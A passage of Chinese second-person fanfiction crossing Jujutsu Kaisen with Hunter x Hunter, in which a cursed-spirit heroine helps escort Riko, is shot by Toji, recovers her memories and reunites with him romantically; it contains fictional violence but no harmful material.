真人对你更多的是占有欲,就像他对待他的那些玩具一样,这一点你很清楚。
“可是葵,你已经好多天没有笑过了哎,开心一点嘛。”
真人捏着你的脸往外扯了扯,你发现他的胆子真是越来越大。
你变回了本体,真人刷的就躲到了三米外,对你大喊大叫,“葵!你犯规!”
“不要打扰我,让我一个人待着。”你浑身冒着黑气,把自己团成了一个球,缩在了窗台上,那盆花的旁边。
*
五条悟和夏油杰谁都没想到,真人会有主动来找他们的一天。
“等等,你刚刚说什么?”
“葵喜欢上了一个咒术师!”
“小葵对我一见钟情了?看不出来,她很有眼光嘛!她在哪?我一定要当面夸奖她!”
“不是你!”
五条悟脸上的笑容瞬间消失,转头看了看身边的夏油杰,“什么嘛,那她的眼光很不怎么样啊。”
夏油杰脸上的笑容一僵,“悟,所有人都知道,选我比选你好得多。不过,我和葵似乎没说过几句话,她真的……”
“杰,明显我比你更帅吧!”五条悟直接打断了夏油杰的话。
“可是你的脾气太差了!”
“你又能好到哪里去啊!你还不是跟我做了朋友!”
“除了我以外你根本没有别的朋友了吧!”
“葵喜欢的根本不是你们!!!你们两个自恋狂!!!”
真人觉得自己从来没有这么累过,咒力耗空的痛苦也不过如此。他虚脱地趴回桌子上,快要打起来的两人倒是一齐停手了。
“你说的是除了我们以外的咒术师?葵的身份暴露了吗?”
“暴露得很彻底。”真人生无可恋地点点头。
“那个咒术师竟然没有杀她?老头子那边也不像是得到消息的样子,这不合理啊。”
“葵现在在哪里?如果一直和那个咒术师待在一起,说不定会很危险。”
“在家里。”真人一脸沮丧,“不吃东西也不陪我玩,整天坐着不说话。”
“杰,咒灵也会生病吗?”
夏油杰看了自己的好友一眼,叹了口气,“去看看就知道了。”
15. 第六夜
五条悟和夏油杰突然找上了门。
如果不是半天没见到真人,你或许会真的感动得以为他们是想起了你所以来看看你。
“有空到这边来,你们的任务都做完了吗?”
五条悟的脸皱了一下,“哪有,从五月份开始任务只会越来越重,这两天还被安排了一个重大任务。”
“什么啊?”
你只是随口一问,就看到五条悟的嘴被夏油杰捂住了。
“这个是机密,不太方便说的哈。”
五条悟好不容易挣脱开,“告诉小葵又有什么关系,她这么弱。”
“你如果只是来嘲讽我的就滚出去啊!!!”
你抄起果盘朝他砸了过去,被轻松躲过了。一直贴着墙试图降低存在感的真人拦了拦,没让它碎在地上。
“小葵,不要生气了,再生气就维持不了人形啦,那样会很丑哦。”
冷静,冷静。你告诉自己要保持冷静,因为跟五条悟这家伙置气最后气坏的一定是自己。
“干脆带她去吧。”
“杰?你这家伙变脸也太快了吧!”
“葵,想出去散散心吗?”夏油杰难得笑得一脸温柔。
“哎?好啊。”
夏油杰在路上稍稍向你透露了一点那个所谓“重大任务”的内容,是……保护一个小姑娘到高专。
至于到高专干什么,五条悟表示反正小葵你也进不去,不需要知道得这么多,同时笑得十分欠揍。
“所以你们是把我当成了免费的苦力吗?!”
打晕了第四个穿着奇装异服的诅咒师后,你抓着棒球棍,情绪越来越暴躁。
“你怎么会这么想呢,葵,不觉得打人很解压吗?”
“完全没有感觉到啊!”
你一棍子抽飞一个企图偷袭的诅咒师,收获了夏油杰赞赏的目光。
“比一开始熟练了很多,反应不错。”
“那是当然了,我可是在流星街摸爬滚打过的!”
你冷哼一声,看了看被夏油杰抱在怀里的小姑娘,“她没事吧?”
“大概是吓晕过去了。”夏油杰随意地看了眼,“去跟悟汇合吧。”
他们那边的战局似乎结束得更早。你们赶到时,看到五条悟和真人正围着地上一个嗷嗷叫的诅咒师不知道在干些什么。
“大功告成!这次很完美吧!”
“身体恢复之后,咒力流动也很顺畅,你的术式还挺有用的嘛。情况紧急的话,说不定可以替代硝子的反转术式。”
“葵——我的研究成果很不错吧!”
真人看到了你,邀功式地抬起那名诅咒师的一条胳膊晃了晃,那上面还沾着血,不过从外观上看已经恢复正常了。
真人看起来真的很开心,似乎从在流星街里第一次见到他,他就是这个样子。答应你的事,也一直做得很好。
“嗯,真人很棒哦。”
你走过去摸了摸真人的头,揉小孩脑袋的那种摸法,真人嘴角的笑僵了僵,看着你,似乎想说什么。
“我也要夸夸!”五条悟猛地挤开真人把脑袋凑到你手边,一双眼睛从墨镜下面露出来看着你,期待地眨了眨。
“嘶。”你浑身一抖,刷的把手收回来背到身后,退回夏油杰身边,“杰,管管你发疯的挚友啊。”
“这种时候不做挚友也罢。”
“杰!你竟然和小葵一起排挤我!”五条悟从地上跳起来,一副不打架不罢休的架势,你迅速躲到一边,把战场留给夏油杰。
夏油杰两只手都抱着人,但还是动作敏捷地躲开了,就在这时,他感觉怀里的小姑娘动了动,一低头,对上了一双睁开的眼睛。
你和真人在战场外看完了全程。
那个小姑娘以超乎常人的速度扇了夏油杰一巴掌,然后从他怀里跳下来,指着他们进行了一通“无懈可击”的推理。
你深表赞同,他们两个第一眼就是不良少年,相处之后会发现性格也很恶劣(特指某位白毛),好在心肠不坏。
呃,心肠不坏的两人在你面前抓着小姑娘的手和脚开始拔高高。
“喂喂,你们没必要欺负一个小孩子吧。”
小姑娘名叫天内理子,是个模样很可爱,性格……略显中二的国中生。
照顾她的黑井美里小姐被夏油杰的咒灵及时找到,阻止了这出“惨剧”。
虽然五条悟和夏油杰事先没告诉你太多任务信息,但是他们俩现在显然没有再瞒着你的意思,任由天内理子一股脑全说出来了。
“天元大人是什么?”
送天内理子回学校的路上,你小声地问夏油杰。
“是个活了很久的家伙,高专附近的结界就是他的功劳。”
“噢。”
看来天元大人对高专很重要,天内理子的身份应该也很特殊,你们才不得不改变原有的计划,优先满足天内理子的要求。
“如果任务失败了会发生什么事?”
“这个啊,说不定咒灵的数量会突然暴增?葵是怎么想的呢?”
“还是不要发生这种事了吧。”你想象了一下满大街都是咒灵的景象,发现自己果然从情感上无法接受。
时至今日,哪怕你已经接受身为咒灵的事实,也仍然没能把自己真正置于咒灵的一方,你依旧在以人类的方式看待世界。
*
天内理子所在的是一所女子学院,各类活动设施都很齐全,占地面积也不小。她坚持不让五条悟和夏油杰跟在身边,但是身为咒灵的你没有被其他人看到的风险,所以和她一起去了教室。真人则留下来和五条悟他们一起监控学校周边的安全。
天内理子在朋友面前的样子和先前表现出来的完全不同。在你看来,她现在完完全全是个普通的国中生,会在课间和朋友们聊感兴趣的话题,会开心地笑。
这种时候,你从她身上感受不到任何一丝对将要迎来的命运的恐惧不安,她笑得那么开心,像每个十四岁的女孩子那样充满朝气。
你留在走廊上,微笑地看着教室里的一切。正在说着话的理子注意到你的目光,飞快地侧过头看了你一眼,你朝她招招手,她的脸微微的红了。
年轻真好啊。
你的脑中闪过这样的想法,突然想起自己上个月也才刚过完十八岁的生日。
可恶,一定是脱离校园生活太久的缘故。
五条悟的电话打来时,你们正在礼拜堂上音乐课。你以前没有上过这种课程,很是新鲜,还仗着别人听不见你的声音跟着合唱了一段。
“小葵!来了两个来历不明的人!你和天内现在在什么位置?”
“礼拜堂。目前这里没有异常。”
“好,你把天内带出来,我立刻来找你们。”
“好。”你放下手机就跑向了前排,天内理子正在专注地合唱,看到你的表情,声音一下子卡住。
“理子,学校现在有点危险,跟我出去吧。”
“可是——”
“理子,不舒服吗?”讲台上的老师发现了她的异样。
“没时间解释啦。”你去拉天内理子的手,突然听到砰的一声,所有人都看向了礼拜堂的大门。
五条悟来得比你想象中要快,出场也相当高调,理子现在一定很后悔刚刚没有直接出去,才会这么社死。
而且,五条悟那家伙,在发现场内的情况后,直接摘下了墨镜,一瞬间你的耳膜都快被女生们的尖叫声刺穿了。
趁着老师上去交涉,你拉着尴尬中的理子跑出了礼拜堂,五条悟在你身后很快脱身,不知道他干了什么,身后又是一阵剧烈的尖叫。
“你给我适可而止啊!”
“小葵,不懂得欣赏我的帅气是你的损失!”五条悟跑得超快,瞬间撵上你们,一把从你手中提走天内理子,“这么慢要被敌人追上啦,我们直接去高专——”
“喂!”要不是你及时松手,估计要被扯得一个狗啃泥,你犹豫了一下要不要变回本体,前方的五条悟停了下来。
“小葵,接下来的诅咒师可能比想
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象中要多哦,在我抽不开身的时候,保护好天内吧。”
“不用你说我也会这么做啊。”你握紧了手里的棒球棍,看了眼身后的天内理子,“理子,不用担心。”
你们目前的位置是在一排屋顶上,你看了眼夏油他们那边的情况,也还在战斗中。你面前的诅咒师显然觉得你很弱,说了一堆轻蔑的话就冲了上来。
木棍对人体的损伤不大,对方的身体素质显然比之前的诅咒师要好得多,几次冲击之后,木棍上出现了裂痕。
诅咒师还没有用术式,跟闹着玩似的。不过随着五条那边局势的变化,他也着急起来,对着你撒出了一张网。
什么玩意?咒具吗?
你变回原形,那张网直接落空,但是在穿过黑雾的瞬间,你的脑子里啪嚓啪嚓的窜过一片静电声,一堆乱七八糟的片段就像程序运行过载时一样漏出来,你来不及整理,黑雾缠上那张网朝诅咒师袭去。
唉。连渣都不剩。那张网倒是还在,只不过破了一个大洞,失去了光泽。你变成人形时脑子一阵发晕,用力甩了甩头才好一点。
“理子,还好吗?”你转头去看天内理子的情况,发现她正一脸惊慌地看着手机。
*
时间为晚上十点,距离黑井小姐被绑架已经过去九个小时,距绑匪发来交易地点刚过一个小时。
半小时前,你们抵达了机场,并订好了前往冲绳的机票。目前,你们(主要是五条悟)正在确认机场内的安全情况。
其实自从撞见库洛洛那次之后,你对机场这种地方就有点心理阴影,总觉得会发生点什么。哪怕五条悟已经确认过机场内一切正常,并且还去检查了你们即将搭乘的飞机,你依然无法摆脱那种时有时无的紧张感。
你负责观察的这片区域乘客不多,几个孩子在爸妈怀里睡觉,情侣们勾着手聊天,独身的旅客有的在翻阅机场提供的晚报,有的在用手机发消息,或者靠着墙打电话。
你的目光从那几对情侣身上扫过,忽然瞥见一个很眼熟的挂件。那是某一年你跟着山姆大叔学习雕刻(类似萝卜上雕花)时,心血来潮做的木头人。你当时给全村上下男女老少每个人都做了一个,因为数量稍显庞大,越往后风格越粗犷。
你盯着看了好一会,确认那个木雕就是你后期的“作品”之一。
他乡遇故知的感觉是很不错啦。只不过……
你看着那个坐在椅子上也显得很大只的蓝发黑皮青年,以及他身边金发碧眼的大胸美女,半天没有认出来到底谁是你的故知。
金发,嗯……你看着那张和玛丽大婶有三分相似的脸,脑中浮现出一个很可怕的猜想。
你径直走到他们面前,喊了声,“卡卡?”
正在给青年看着手机的美女身体微微一僵,虽然被她很快地掩饰过去,你还是注意到了。她能听到你的声音!
你干脆加大音量,“阿卡罗!”
黑皮青年抬起头朝四周看了看,但他完全没有看到站在面前的你,身边的女人拍了拍他的胳膊,笑着问,“阿娜达,怎么了?”
“不知道,突然有种不太舒服的感觉。”
“可能是空调温度太低了吧,阿娜达你总是这么敏锐呢。”
你被女人的声音激起了一身鸡皮疙瘩,在你坚持不懈盯着她看了两分钟之后,女人终于站起来,“阿娜达,我去一趟洗手间,等我回来哦。”
女人俯身在青年的侧脸上亲了口。
你心情复杂地跟着女人走到了卫生间,她停在镜子前,风情万种地撩了下头发,回身看你,“这位咒灵小姐,我们认识吗?”
“你是失忆了吗?我是葵啊。”
你一言难尽地看着他,你的竹马,住在隔壁的卡卡。
你记得出发前最后一次见到他的时候,他万分得意地跟你炫耀自己新交的女朋友是个又高又大的御姐,短短一年没见,他竟然……
“葵?”他眨了眨眼,脸上的笑容终于僵住,你看着他把你上上下下打量了一遍,“你去整容了?”
16. 第七夜
你和卡卡,异世界重逢的老乡,在对方眼中,一个疑似整容,一个疑似变性,谁都不肯相信对方就是当年那个人。
为此,你们互相抖落了不少对方当年干过的蠢事。然后相顾无言。
“玛丽大婶居然同意你变性!”
“我没有!”
阿卡罗愤而摘下脖子上的丝巾,让你清楚地看见了他的喉结,他的声音也短暂的恢复了成年男性的低哑。
他清了清嗓子,再开口时已然是最开始的女声,“这只是一点,情.趣。”
“倒是你,六七年不见,怎么把自己搞成这副样子?你以前就长得不错,干嘛要去整容?”
“我没有整容!我本来就长——”你猛然想起自己其实自打变成咒灵后再也没能照镜子这回事。
“而且,也没有六……六七年吧,不是才过了一年吗?”
“两边世界的时间是同步的啊,我记得你离开村子的时候是99年,现在都已经06年了。你该不会被卷进什么时空隧道了吧?难怪这些年都没见你回来过。”
阿卡罗边说边仔细观察着你的脸,你被他看得浑身发毛。
“我总觉得你看起来有点眼熟,我一定在哪里见过这张脸。”
“可我真的没整容。我在变成咒灵以前,都还是之前的样子。”
你下意识掐了掐自己的脸,没有感觉到任何异常。你忽然想起真人说过的话。
[那个只是寄生的躯壳,现在才是你本来的样子。]
“你在这里等我!我去找个人!”
“不可以太久哦,不然我家阿娜达会担心的。”阿卡罗的声音从背后追上来。
“知道了!”肉麻死了,你搓了搓胳膊,跑出洗手间。
你没花多久就找到了真人,为了不引起五条悟他们的注意,你一直跑到他面前才喊他,“跟我过来一下。”
“怎么了?”真人被你拽到了角落里。
“我看起来跟以前有什么不一样吗?”
“没有。”
你看着真人一灰一蓝的眼睛,“那么,什么叫''我本来的样子''?”
“就是你……灵魂的样子。”真人稍稍睁大眼睛,“原来你是这个意思。因为你的灵魂一直都没有变过……不过,五官和原先的躯壳确实不太一样呢。”
“所以,”你的喉咙有些干涩,“所以,我到底是谁啊?”
你喃喃自语,失魂落魄地松开了真人。
直到上飞机,你都还没从恍惚中走出来。
你和阿卡罗交换了联系方式,约好等你回来后在东京再见一面,你拜托他帮你和村子里的大家打声招呼,因为你可能,没办法回去了。
如果身体意识还在……
她一定还在,她一定还留在躯壳里,如果还能相遇,如果……
你的状态引起了其他人的注意,真人帮你解释说你只是有点晕机,让他们不必担心。
“葵,你现在感觉怎么样?”
你靠着窗子,蜷缩在座位上,你觉得有点冷,是那种全身浸泡在河水中的冷意,有点像被扔进生命之泉的时候。
当时你所有的感官都被脑中的疼痛屏蔽,而现在它悄无声息地裹挟着你,从皮肤渗透进骨髓,蔓延到全身的血管。
“冷。”
你迷迷糊糊说了句,感觉到一只手摸上你的额头,耳边传来惊呼,“葵!你的头好烫!”
你猜五条悟和夏油杰都没见过咒灵生病的样子,估计也都没有听说过。所以大家在得知这件事时都表现得很惊讶。
他们帮你找来了退烧药,味道很苦,你并不是很想喝,觉得人类的药说不定没什么用,但还是被迫喝下去了。
之后的意识是昏沉的,你好像想起了一段非常久远的回忆,久远到回忆的颜色都透着老照片的昏黄。
你看到走廊上站着一个小男孩,你像是刚学会走路,跌跌撞撞地朝他跑去,他躲开了你。你摔在地上,没觉得疼,也没有哭,只是呆呆愣愣地看着他。
“葵——葵——”
有人喊着这个名字,小男孩转身跑下了楼。你想要追上去,但很快就再次跌倒,巨大的黑影跟在你身后,试图将你的身体完全吞噬,你终于大喊大叫着哭出来,有人从楼下跑上来,把你抱在了怀里。
再后来,你似乎长大了些,楼梯口站着的男孩和以前一样瘦弱,你想要跑过去,又在他后退时停住了脚。
“葵。”
你朝他笑,他看着你,神情犹豫地伸手。于是你朝他走去,身后的黑影却突然越过你,扑向了他。
你听到咚咚的回响。
直到摔到楼梯下的男孩被赶来的大人们围住,你还保持着伸手的姿势。
“葵。”你的声音细如蚊呐,“三叶不可以伤害葵。”
……
你浑身是汗地醒来,发现自己躺在一张床上。眼前是昏暗的天花板,窗帘隐隐透着光。
“葵,你醒啦,好点了吗?”
真人的声音从旁边传来,一只手探到你的额头上摸了摸,“太好了!不烫了!”
“我没事。”你坐起来,浑身都没什么力气,脑袋也一阵阵发晕,但总归没有之前在飞机上那么难受。
“现在是什么时候?”
“快到中午了,刚刚五条发消息说他们已经救出了黑井,正在拷问绑匪。葵,你饿不饿?或者想喝水吗?”
“不用。”你挪到床边站起来,左右看了看,找到了卫生间。
“葵——不能这样!你才刚退烧!”
真人的声音隔着水流,听不真切,你把头塞到水龙头底下,冰凉的水刺激着你的后脑勺和脖子,让你混沌的大脑逐渐清醒过来。
“呼……”你从洗手池里抬起头,喘了口气。
一条毛巾兜头罩下来,脸上的水被擦得干干净净。等毛巾从眼前移开,你转过身,看到真人满脸不高兴地帮你擦着头发,忍不住笑了。
“用不着这么担心,我已经好多啦。”
“你还说!我从来没见过有咒灵会生病!”
“看来我还真是与众不同。”
“又不是什么值得骄傲的事。”真人气呼呼的抓着毛巾,用力拧了拧你的头发。
“好吧,我会注意的。”你揉了揉他的脑袋,“帮我联系一下他们吧,看待会在哪里见面,我先洗个澡换身衣服。”
“你记得用热水。”
“知道了。”
“真的已经恢复了吗?要不要回酒店休息?”夏油杰有些担忧地看着你。
“是啊是啊,万一待会太阳一晒,小葵你又晕过去怎么办?”
五条悟勾着夏油杰的脖子,你头一回发现他藏在墨镜后的那双眼睛好像还挺好看的,就像冲绳的海水和天空那么蓝。
“倒也没有那么虚弱啦,你们要相信一只咒灵的恢复能力啊。”你笑眯眯地背着手,往前走了几步跟理子她们并排。
“杰,她居然没有生气哎,你说她是不是把这里烧坏了。”五条悟满脸惊奇,抬手点了点太阳穴。
“只能说明葵已经习惯你的嘲讽了吧。”夏油杰笑着耸耸肩,“她现在这样不是很好吗。”
五条悟难得的安静下来,看着前方三个人的背影,更远些的地方,真人站在遮阳伞下朝这
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边招着手,“这里——”
“来啦。”
三叶葵脚步轻快地跑过去,发尾在空中荡了荡,沐浴着灿金色的阳光。
你大概会一直记得这一天。
海水是清澈温柔的蓝色,悟和理子沿着海岸线追逐打闹,黑井小姐和杰站在不远处看着他们,真人拉着你蹲在海边堆沙堡,你翻开一块石头,一只螃蟹慢吞吞地爬远了。
你们平安无事地回到了东京。
理子的悬赏金在上午十一点到期取消,在那之后,你们走陆路去了高专。
这大概是你距离咒术师的学校最近的一次,成片的鸟居沿着山道一字排开,你和真人停在山麓,目送着他们四个朝山上走去。
“葵,再见!”理子回头朝你挥了挥手。
“再见。”你抬起手挥了挥。
“我们也回去吧。”真人伸了个懒腰,转身往回走,看见你没动,又停下来,“你该不会是想一起上山吧?”
你看着郁郁葱葱的山林,没有否认。
“如果不是这个结界,就可以悄悄地跟上去了。”真人戳了戳面前的虚空。
“嗯,没错。”你想了想,“我试试看吧。”
“什么?”
你感受了一下咒力的流动,将它们猛地往回收,这种感觉就像是把一团空气团起来,几乎是不可能的事,但是你的情况和一般的咒灵不同,你借助本体上那些无序的线勉强搭建好框架,再用它们阻拦住试图四溢的黑雾,一点点收拢。
虽然困难,但并不是做不到。
你至今也没有搞明白那些黑线的来源,它们并不是由咒力凝聚,只是存在着,并束缚着你。每当黑雾吞噬掉一个个体,那些线就会进一步走向崩坏,以至于你不敢轻易地动用本体作战。你不清楚这样做的后果是什么。
你成功了。
现在,如果有人能看到你的本体,就会发现它已经缩成了一个拳头大小的毛线球,那些交错缠绕的线无死角地禁锢着里面的东西,束缚与被束缚的感觉一道传来,有点一言难尽。
这种行为也是有风险的,最多三个小时,不解开的话,那些线可能会被一次性破坏掉,造成不可挽回的后果。
“好了。你在附近等我吧,三个小时之内我会回来。”
“你现在看起来完全是个普通人,真是不可思议。”真人捏了捏你的手腕,放下来,“葵,保护好自己。”
“嗯。”
你原本的计划是远远地跟在他们后面,确保天内理子的安全,同时尽可能的一路跟到天元那里,你有一些重要的事,需要去见见那个老家伙。
你不能跟得太近,你知道悟对咒力的感知有多厉害,哪怕你已经尽量收束咒力,也不能确保不被他发现。到时候解释起来又很麻烦。
当你终于穿过那一大片鸟居,完全进入高专内部后,你看到了难以置信的一幕。
地面已经变成一片废墟,到处都是激烈战斗过的痕迹,你看到了一个倒在地上的人影,和一头浸染在鲜血中的白发。
这不可能。
五条悟的眼睛半阖着,那抹漂亮的蓝呈现出凝固的死态,你试图把手放到他的头上,看到那道深深的伤痕,又有点不知如何是好。
“真人,真人!”你扯开嗓子去喊山下的真人,突然听到了很轻微的动静。
“葵……”五条悟苍白的嘴唇动了动,你俯身凑近他,“天元……钥匙……”
你在他浸满鲜血的衣服上摸了摸,拿到了他说的钥匙,看着他似乎要闭上眼睛,眼前迅速模糊一片,“你能不能,不要死啊?”
五条悟没有回应你。
17. 第八夜
急速下坠,落地时的冲力让你的关节狠狠地震了震,你变回黑雾的本体,朝着漆黑的通道疾速掠去。
要快点,再快一点!
到底什么人能把五条悟伤成那个样子?现在理子身边只有黑井和杰,对上那个人一定也很吃力。
悟很强,所有人都这么认为,那么如果他们毫无防备,甚至可能……
冲出去的瞬间,你看到了好端端站着的夏油杰和天内理子,还好……砰!黑线被子弹崩断,你感觉到一阵灼烧的剧痛,身形几乎立刻开始溃散。
你只是下意识地挡在了天内理子身前,而当你勉强凝聚出人形站起来时,看到的是许久不见的伏黑先生。
大概是因为头脑发晕,耳朵里也嗡嗡一片,你的表情一定很难看。伏黑先生握着一把枪,震惊地看着你。
“伏黑先生,你为什么……会在这里啊?”
你不知道那样锋利的黑线为什么会被一颗子弹轻易弄断,你只知道这件事引发了一系列的连锁反应,那些线条一根根地接连断裂,投射到人形的躯体上,就是内脏被一点点搅碎的痛苦,你很快就痛得说不出话,一张嘴就吐出一大口血。
“葵!”夏油杰朝你这边走了一步,但有个身影比他更快。
你的下一口血吐到了伏黑先生身上,他的衣服上其实已经沾染了很多血迹,你知道那是五条悟的。
“你这家伙——放开她!”
夏油杰的身旁是你从未见过的咒灵,从它们身上浓郁的咒力来看,等级应该非常高,但它们没有直接上前,夏油杰紧紧皱着眉,表情凝重。
“悟……”你往外咳着血,差不多能体会到不久前五条悟跟你说话时的感受,“没有死……”
“不要再说话了。”
伏黑先生用手擦去你嘴唇上的血,但他不可能擦干净,你感觉全身的血都要被你咳出来,你并不是真正的人类,你不知道人类的躯体里是否也有这样多的血,就像流不尽一样。
“她就要死了。”
好可恶啊夏油杰,你刚刚才告诉他那么大一个好消息,他这会就用这么平静的语气提前宣布你的死期了。
“不,她不会死。”
伏黑先生的语气很肯定,就像他亲眼见到了你活泼乱跳地活过来的样子。你有点想笑话他,在你自己都觉得你要死的时候,他竟然还在这么认真地开玩笑哎。
可惜无论你怎么努力地张嘴,咳出来的也还是血,你的呼吸可能听起来很痛苦,你有点不想再这样折磨他了。
伏黑先生稳稳地抱着你,从嘴里吐出了一个东西,等那团东西迅速膨胀,你认出来那是曾经趴在他肩上的咒灵。原来平时是藏进肚子里的吗?总觉得很神奇。
你看着伏黑先生把手伸进那只咒灵的嘴里不停地摸索,有点不明白他在找些什么。
你大概是开始回光返照,身上的疼痛减轻很多,你试着发出声音,虽然磕绊,但成功了,血堵在喉咙里,让你的声音听起来有些含糊不清,“伏黑先生……”
他没有说话,动作变得更加着急,几乎把整个胳膊都伸进去翻找。
“我觉得……我们以前认识哦……虽然……没能想起来……对不起……如果……”你看着他的脸,还有他嘴角的伤疤,很想抬手摸一摸,但所有的力气都用在说话上面了,“如果……”
其实已经没有如果了。到时间了。
啪嗒。冰凉的东西扣上你垂落的手腕,伏黑先生的呼吸急促地烫在了你的耳边。
*
咒术界发生了一件大事——下发至高专的护送星浆体的任务失败了。星浆体被盘星教雇佣的杀手杀害,天元大人的同化自此无法进行。
这件事在咒术界引发了相当长时间的动荡,一时间人心惶惶。且不说御三家和咒术界的高层会如何焦头烂额,负责护送任务的两名高专学生也身受重伤,休养了许久才恢复。
关于这一切,你都不得而知。
你走在一条漆黑的长廊上,过往的记忆胶片一样从你身侧滑过,你不需要停下脚步,因为它们一旦经过,就会同步到你的脑中。
一侧是你作为人类时的记忆,一侧是作为咒灵的记忆。属于人类的记忆残缺不全,属于咒灵的记忆年代久远。你任由这两份记忆在脑中交织融合,继续向前走,直到面前出现了一扇紧闭的门。
你伸手去推那扇门,却抬不起手腕,你发现那里不知何时缠绕着两根线,一根红色,一根黑色,向长廊的另一头延伸,消失在黑暗中的两个方向,却在不约而同地把你往回拉。
你看着近在咫尺的门,无奈地转身,“好吧,毕竟还有这么多的谜题没有解开,就这样和你同归于尽,可太没意思啦。”
不知道走了多久,身边不再是闪着回忆的墙壁,而是飞舞着点点萤火的原野。
你发现自己还记得这个夜晚,你喝多了酒,趴在他的背上,被他背着往回走,你摸了摸他的耳朵,他破天荒的没有阻拦,于是你又得寸进尺地去摸他的脸,笑着问他今天为什么这么乖,他说原因你自己想。
“我当然知道为什么,我想听你说啊,笨蛋甚尔。”
再后来,你就睡着了。
他背着你,走回了家。
你颇为怀念地盯着这片原野看了很久,直到腕上传来轻轻的拉力,才继续往前。你走过许多熟悉的风景,像是要把自己作为人类的一生看尽。
你最终来到了一个岔路口,手腕上的两根线分别延伸向不同的道路,而两条路的尽头,都隐没在黑暗中,看不分明。
“真的不能给我点提示吗?”
两根线都安静地绕在你的手上,仿佛刚刚催促着你的不是它们。
那就,随便选一条好了。
你抬脚朝其中一个方向走去。
*
醒来时,周围很安静。
大概是躺得太久,很艰难的才坐起来,手腕上叮叮当当一阵响,你看着那两只形制像极了手铐的东西,很是茫然了一会。
你好不容易才从记忆里翻找出关于它的部分,那是某个懒洋洋的午后,你坐在办公桌后一边拨弄它一边翻看文件,他睡醒了,走过来问你那是什么,你随手递过去,说是前几天买的咒具,听说可以禁锢住咒力。
“被它铐住的咒灵没法逃跑,就只能乖乖听话啦,是不是很有用?”
“能被这么轻易关起来的都是些很弱的家伙,要那种没用的咒灵干什么?”他简单看了看就学会了使用的方法,只是表情有些无奈。
“这个嘛,养着玩?”
“而且,我是不是该提醒你,大部分咒灵都不长人形,没有下手的地方。”他扯着嘴角,勾着手铐的环轻轻甩了甩。
“买都买了,肯定能用上的。”
好嘛,看来你就是那只“没用的咒灵”,这种认知可真是叫人哭笑不得。
托它的福,你的咒力趋于平稳,黑线的崩解也停止了,但只剩下细细的一根,缠绕在愈发浓重的雾气上。在这种状态下,你无法变回本体,也无法使用咒力,就像一个普通人。
你起床走了走,没两步脑袋就一阵发晕,直接摔在了地上。头撞到了地板,眼前阵阵发黑,手肘和膝盖都很痛,半天没能爬起来。看来你高估自己了,你现在可比普通人弱太多了。
房门砰的打开,你
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被人直接抱了起来,这个怀抱很温暖,也很熟悉,你不用猜就知道是谁。
他把你放回了床上,你睁开眼,看到伏黑甚尔又一次皱着眉看着你。
“怎么露出这种表情?我真的没有想做什么坏事哦。”
你笑着抬起手,碰了碰他的眉心,他的表情空了空,突然用力攥住了你的手。
“你是不是——”
“甚尔,有点痛哎。”
他稍稍松开了些,你不太能看懂他的目光,那里有太多复杂的东西,让你的心脏都隐隐抽痛。
你干脆用另一只手捂住了他的眼睛,“不要再这样看着我啦,好像我欠了你很多东西一样。”
造成现在的局面,你也不想的啊。
伏黑甚尔没有管你的这只手,他抬起你的下巴,准确无误地吻住了你的嘴唇。
蔷薇花架下的记忆砰的在脑中炸开,你控制不住地颤抖,他的眼睫在你的掌心轻轻颤动,你想抽回手,但浑身上下挤不出一丝力气。
过了许久,他终于退开一些,握着你的手腕把它从你的眼前移开,压到枕边。
你失神地看着那双近在咫尺的眼睛,那里倒映出你的影子,它看起来糟透了。你闭了闭眼,他温热的呼吸重新覆上来。
*
你被人抱在怀里,非常温暖,一只手在你脑后,有一下没一下的拨弄着你的头发,你睁开惺忪的眼睛,抬起头。
“头还晕吗?”
“好多了。”你摇摇头,抱着他的脖子,把脸埋进他的颈窝,过了一会,你感觉自己清醒了些,就松开手,试图爬起来。
“怎么?”伏黑甚尔环在你腰上的手臂没有放松,你只好又趴回他身上。
“整天这么睡着也太不像话啦。”你枕在他胸前,仰头看着他,“总感觉有很多事情都还没有做,也一直没有联系其他人……”
“就不能什么都不想,乖乖地待在我身边吗?”
以前的他绝对说不出这种话。
你眨了眨眼,觉得自己有一瞬间快要哭出来了,“不可以说这样的话哦,甚尔,你知道的,我们……”
你不是很想继续说下去,凑过去亲了亲他的嘴角,他的手按在你脑后,加深了这个吻。
“等我处理完那些事,剩下的时间都是你的,好吗?”
你像是在开一张空头支票,他的表情也告诉了你,他并不相信你的话。
“我保证,无论发生什么,会拼尽全力回到你身边。”
他像是无法忍耐,闭了闭眼,然后抱着你直接坐起来,“把自己收拾干净点再出门,不准离开我的视线范围。”
你知道他又一次妥协了。
“抱歉……”
“闭嘴。”
你抿着唇,看着他托住你的手,用棉棒沾了酒精擦拭伤口,一阵刺痛,你的手指颤了颤,他的动作变得更加小心。
直到裹好创口贴,你才试探着再次开口,“下次不会了。”
你只是看到了洗手台上的剃须刀,想试试自己目前的恢复能力,所以用刀片划了一个小口子,谁知道血一下子就冒出来,止都止不住。
“你要是没恢复记忆,说出来的话倒还有几分可信。”
你看着伏黑甚尔紧锁的眉头,回忆了一下自己失忆时的状态,“那……伏黑先生,我下次不会再做这种事了,你可以,多相信我一点吗?”
“你真是——”他见鬼一样瞪着你,你无辜地眨了眨眼睛,他直接扔下你的手走开了。
你缩在沙发上笑出了眼泪。这家伙之前不告诉你他的名字,整天听你伏黑先生伏黑先生的喊他,不知道有多得意。
18. 第九夜
“伏黑先生,可以去看看那个吗?好像很有趣。”
“伏黑先生,可以帮我买那个吗?看起来很好吃。”
“伏黑先生……”
“都说了不要这样喊我!”伏黑甚尔把一盒章鱼烧塞到你手里,臭着一张脸。
“好吧好吧,甚尔,张嘴。”你笑眯眯地夹起一颗章鱼烧递过去,他弯下腰,不情不愿地张嘴接了。
“味道怎么样?”
“一般般吧。”他的喉结滚了滚。
“头再稍微低一点。”你从手袋里翻出纸巾,擦了擦他嘴角沾上的酱汁,“那剩下的就都是我的啦。”
“随你。”
你们身边突然传来一声惊讶的倒抽气,你转过头,看到了目光炯炯的五条悟和他身旁一脸尴尬的夏油杰。
“你看起来恢复得不错嘛。”你上下打量着五条悟,发现之前的那些伤已经看不出痕迹了。
“晚上好,杰。”
“晚上好。”夏油杰尴尬地笑了笑。
“真人跟我说的时候我还不信!小葵,你怎么可以喜欢这个小白脸!”五条悟瞪着你们,满脸的痛心疾首。
你看了看五条悟的肤色,一时不知道该说什么。
“一定是这个混蛋骗了你,小葵,你都不知道他玩得有多——”
“喂!你不要造谣!”你感觉伏黑甚尔有点紧张。
“我都知道哦。”你干脆打断他们,看着愣住的三人,弯了弯嘴角,“只要能跟甚尔在一起,别的我都无所谓啊。”
*
